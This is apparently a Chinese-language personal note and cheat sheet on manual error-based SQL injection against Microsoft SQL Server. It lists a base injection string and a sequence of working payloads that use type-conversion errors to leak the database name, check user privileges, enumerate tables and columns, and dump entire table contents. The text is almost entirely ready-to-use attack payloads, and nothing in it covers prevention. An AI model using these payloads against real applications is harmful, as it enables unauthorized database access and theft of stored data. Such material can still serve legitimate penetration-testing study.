之前搞mssql数据库的注入都是直接跑工具,但是总是有些注入点工具一扫就崩,关键时候还是要手工注入,因此总结学习mssql手工注入,写此文留作笔记。本次主要总结显错注入!
payload:
1 | ?Id=admin' and 1=convert(int,(sql语句)) AND 'CvNI'='CvNI |
基本信息获取
数据库信息获取
1 | 1=convert(int,(db_name())) #获取当前数据库名 |
USER信息
1 | and 1=(select IS_SRVROLEMEMBER('db_owner')) #查看是否为db_owner权限、sysadmin、public (未测试成功)如果正确则正常,否则报错 |
获取表名
获取所有表名
1 | 1=convert(int,(select top 1 table_name from information_schema.tables where table_name not in('V_XG_BZKS_SHSJHD','HH_HeartHealthRefer_Web'))) #将报出来的表名填入 table_name not in的元组 |
获取指定数据库的表名
1 | 1=convert(int,(select top 1 quotename(name) from [数据库名]..sysobjects where name not in('table_name1','table_name2') and xtype='U') #逐条获取表名,将报出来的表名放入tuple |
获取列名
获取注入点的表中的列名
1 | having 1=1 -- |
获取任意表中的列名
1 | 1=convert(int,(select quotename(name) from [数据库名]..syscolumns where id =(select id from [数据库名]..sysobjects where name='table_name') FOR XML PATH(''))) #一次性列出该表所有的列名,列名比较少,建议用这个 |
爆数据
1=(select top 1 * from [数据库名]..[表名] FOR XML PATH(‘’))